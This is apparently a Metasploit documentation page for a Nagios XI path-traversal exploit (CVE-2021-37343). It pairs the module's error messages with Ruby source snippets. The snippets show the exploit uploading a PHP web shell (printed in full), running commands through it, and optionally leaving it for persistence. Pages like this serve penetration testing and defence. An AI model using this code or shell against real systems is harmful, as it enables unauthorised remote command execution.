- Determined using the self-reported version: <NAGIOS_VERSION>
- Connection failed
- Unexpected HTTP status code <RES.CODE>
- <title>New Auto-Discovery Job
- Failed to obtain the nsp token which is required to upload the web shell
- Connection failed
- Unexpected HTTP status code <RES.CODE>
- Web shell execution did not appear to succeed.
- Connection failed
- Unexpected HTTP status code <RES.CODE>
- Connection failed
- Unexpected HTTP status code <RES.CODE>
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Nagios is not fully installed.
Here is a relevant code snippet related to the "Nagios is not fully installed." error message:
100: login_result, res_array = nagios_xi_login(datastore['USERNAME'], datastore['PASSWORD'], false)
101: case login_result
102: when 1..3 # An error occurred
103: return CheckCode::Unknown(res_array[0])
104: when 4
105: return CheckCode::Detected('Nagios is not fully installed.')
106: when 5
107: return CheckCode::Detected('The Nagios license has not been signed.')
108: end
109:
110: # res_array[1] cannot be nil since the mixin checks for that already.
The Nagios license has not been signed.
Here is a relevant code snippet related to the "The Nagios license has not been signed." error message:
102: when 1..3 # An error occurred
103: return CheckCode::Unknown(res_array[0])
104: when 4
105: return CheckCode::Detected('Nagios is not fully installed.')
106: when 5
107: return CheckCode::Detected('The Nagios license has not been signed.')
108: end
109:
110: # res_array[1] cannot be nil since the mixin checks for that already.
111: @auth_cookies = res_array[1]
112:
Unable to obtain the Nagios XI version from the dashboard
Here is a relevant code snippet related to the "Unable to obtain the Nagios XI version from the dashboard" error message:
110: # res_array[1] cannot be nil since the mixin checks for that already.
111: @auth_cookies = res_array[1]
112:
113: nagios_version = nagios_xi_version(res_array[0])
114: if nagios_version.nil?
115: return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')
116: end
117:
118: # affected versions are 5.2.0 -> 5.8.4
119: if Rex::Version.new(nagios_version) < Rex::Version.new('5.8.5') &&
120: Rex::Version.new(nagios_version) >= Rex::Version.new('5.2.0')
Determined using the self-reported version: <NAGIOS_VERSION>
Here is a relevant code snippet related to the "Determined using the self-reported version: <NAGIOS_VERSION>" error message:
116: end
117:
118: # affected versions are 5.2.0 -> 5.8.4
119: if Rex::Version.new(nagios_version) < Rex::Version.new('5.8.5') &&
120: Rex::Version.new(nagios_version) >= Rex::Version.new('5.2.0')
121: return CheckCode::Appears("Determined using the self-reported version: #{nagios_version}")
122: end
123:
124: CheckCode::Safe("Determined using the self-reported version: #{nagios_version}")
125: end
126:
Determined using the self-reported version: <NAGIOS_VERSION>
Here is a relevant code snippet related to the "Determined using the self-reported version: <NAGIOS_VERSION>" error message:
119: if Rex::Version.new(nagios_version) < Rex::Version.new('5.8.5') &&
120: Rex::Version.new(nagios_version) >= Rex::Version.new('5.2.0')
121: return CheckCode::Appears("Determined using the self-reported version: #{nagios_version}")
122: end
123:
124: CheckCode::Safe("Determined using the self-reported version: #{nagios_version}")
125: end
126:
127: # Using the path traversal, upload a php webshell to the remote target
128: def drop_webshell
129: autodisc_uri = normalize_uri(target_uri.path, '/includes/components/autodiscovery/')
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
135: 'vars_get' => {
136: 'mode' => 'newjob'
137: }
138: })
139:
140: fail_with(Failure::Disconnected, 'Connection failed') unless res
141: fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
142: fail_with(Failure::UnexpectedReply, 'Unexpected HTTP body') unless res.body.include?('<title>New Auto-Discovery Job')
143:
144: # snag the nsp token from the response
145: nsp = get_nsp(res)
Unexpected HTTP status code <RES.CODE>
Here is a relevant code snippet related to the "Unexpected HTTP status code <RES.CODE>" error message:
136: 'mode' => 'newjob'
137: }
138: })
139:
140: fail_with(Failure::Disconnected, 'Connection failed') unless res
141: fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
142: fail_with(Failure::UnexpectedReply, 'Unexpected HTTP body') unless res.body.include?('<title>New Auto-Discovery Job')
143:
144: # snag the nsp token from the response
145: nsp = get_nsp(res)
146: fail_with(Failure::Unknown, 'Failed to obtain the nsp token which is required to upload the web shell') if nsp.blank?
<title>New Auto-Discovery Job
Here is a relevant code snippet related to the "<title>New Auto-Discovery Job" error message:
137: }
138: })
139:
140: fail_with(Failure::Disconnected, 'Connection failed') unless res
141: fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
142: fail_with(Failure::UnexpectedReply, 'Unexpected HTTP body') unless res.body.include?('<title>New Auto-Discovery Job')
143:
144: # snag the nsp token from the response
145: nsp = get_nsp(res)
146: fail_with(Failure::Unknown, 'Failed to obtain the nsp token which is required to upload the web shell') if nsp.blank?
147:
Failed to obtain the nsp token which is required to upload the web shell
Here is a relevant code snippet related to the "Failed to obtain the nsp token which is required to upload the web shell" error message:
141: fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
142: fail_with(Failure::UnexpectedReply, 'Unexpected HTTP body') unless res.body.include?('<title>New Auto-Discovery Job')
143:
144: # snag the nsp token from the response
145: nsp = get_nsp(res)
146: fail_with(Failure::Unknown, 'Failed to obtain the nsp token which is required to upload the web shell') if nsp.blank?
147:
148: # drop a basic web shell on the server
149: webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
150: print_status("Uploading webshell to #{webshell_location}")
151: php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
164: 'mode' => 'newjob'
165: },
166: 'data' => payload
167: })
168:
169: fail_with(Failure::Disconnected, 'Connection failed') unless res
170: fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 302
171:
172: # Test the web shell installed by echoing a random string and ensure it appears in the res.body
173: print_status('Testing if web shell installation was successful')
174: rand_data = Rex::Text.rand_text_alphanumeric(16..32)
Unexpected HTTP status code <RES.CODE>
Here is a relevant code snippet related to the "Unexpected HTTP status code <RES.CODE>" error message:
165: },
166: 'data' => payload
167: })
168:
169: fail_with(Failure::Disconnected, 'Connection failed') unless res
170: fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 302
171:
172: # Test the web shell installed by echoing a random string and ensure it appears in the res.body
173: print_status('Testing if web shell installation was successful')
174: rand_data = Rex::Text.rand_text_alphanumeric(16..32)
175: res = execute_via_webshell("echo #{rand_data}")
Web shell execution did not appear to succeed.
Here is a relevant code snippet related to the "Web shell execution did not appear to succeed." error message:
171:
172: # Test the web shell installed by echoing a random string and ensure it appears in the res.body
173: print_status('Testing if web shell installation was successful')
174: rand_data = Rex::Text.rand_text_alphanumeric(16..32)
175: res = execute_via_webshell("echo #{rand_data}")
176: fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
177: print_good("Web shell installed at #{webshell_location}")
178:
179: # This is a great place to leave a web shell for persistence since it doesn't require auth
180: # to touch it. By default, we'll clean this up but the attacker has to option to leave it
181: if datastore['DELETE_WEBSHELL']
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
196: 'mode' => 'deletejob',
197: 'job' => "#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}"
198: }
199: })
200:
201: fail_with(Failure::Disconnected, 'Connection failed') unless res
202: fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res&.code == 302
203: end
204:
205: # Executes commands via the uploaded webshell
206: def execute_via_webshell(cmd)
Unexpected HTTP status code <RES.CODE>
Here is a relevant code snippet related to the "Unexpected HTTP status code <RES.CODE>" error message:
197: 'job' => "#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}"
198: }
199: })
200:
201: fail_with(Failure::Disconnected, 'Connection failed') unless res
202: fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res&.code == 302
203: end
204:
205: # Executes commands via the uploaded webshell
206: def execute_via_webshell(cmd)
207: cmd = Rex::Text.uri_encode(cmd)
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
208: res = send_request_cgi({
209: 'method' => 'GET',
210: 'uri' => normalize_uri(target_uri.path, "/includes/components/highcharts/exporting-server/temp/#{@webshell_name}?cmd=#{cmd}")
211: })
212:
213: fail_with(Failure::Disconnected, 'Connection failed') unless res
214: fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
215: res
216: end
217:
218: def execute_command(cmd, _opts = {})
Unexpected HTTP status code <RES.CODE>
Here is a relevant code snippet related to the "Unexpected HTTP status code <RES.CODE>" error message:
209: 'method' => 'GET',
210: 'uri' => normalize_uri(target_uri.path, "/includes/components/highcharts/exporting-server/temp/#{@webshell_name}?cmd=#{cmd}")
211: })
212:
213: fail_with(Failure::Disconnected, 'Connection failed') unless res
214: fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
215: res
216: end
217:
218: def execute_command(cmd, _opts = {})
219: execute_via_webshell(cmd)
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Related Pull Requests
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- #16159 Merged Pull Request: Add module to CVE-2021-3129
- #16117 Merged Pull Request: Updates for Log4Shell
- #16195 Merged Pull Request: Update hp_dataprotector_cmd_exec.rb
- #16193 Merged Pull Request: Remove the deprecated VSS modules
- #16194 Merged Pull Request: Bump RubySMB to 3.0.4
- #16087 Merged Pull Request: Grandstream UCM62xx IP PBX Websocket Blind SQL Injection Credential Dump
- #16172 Merged Pull Request: Update replicant pattern to increment refs
- #16181 Merged Pull Request: Add Meterpreter compatibility resource file
References
- CVE-2021-37343
- https://claroty.com/2021/09/21/blog-research-securing-network-management-systems-nagios-xi/
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/nagios_xi_scanner
- exploit/linux/http/nagios_xi_chained_rce
- exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo
- exploit/linux/http/nagios_xi_magpie_debug
- exploit/linux/http/nagios_xi_mibs_authenticated_rce
- exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
- exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce
- exploit/linux/http/nagios_xi_snmptrap_authenticated_rce
- exploit/linux/misc/nagios_nrpe_arguments
- exploit/unix/webapp/nagios_graph_explorer
- exploit/unix/webapp/nagios3_history_cgi
- exploit/unix/webapp/nagios3_statuswml_ping
- exploit/unix/http/pfsense_diag_routes_webshell
- exploit/unix/http/pfsense_pfblockerng_webshell
- post/linux/gather/enum_nagios_xi
- exploit/linux/http/axis_app_install
- exploit/linux/http/axis_srv_parhand_rce
- exploit/linux/http/zimbra_mboximport_cve_2022_27925
- exploit/linux/http/eyesofnetwork_autodiscovery_rce
- exploit/linux/local/exim4_deliver_message_priv_esc
- exploit/linux/smtp/exim4_dovecot_exec
- exploit/linux/smtp/exim_gethostbyname_bof
- exploit/linux/ssh/quantum_dxi_known_privkey
Related Nessus plugins:
Authors
- Claroty Team82
- jbaines-r7
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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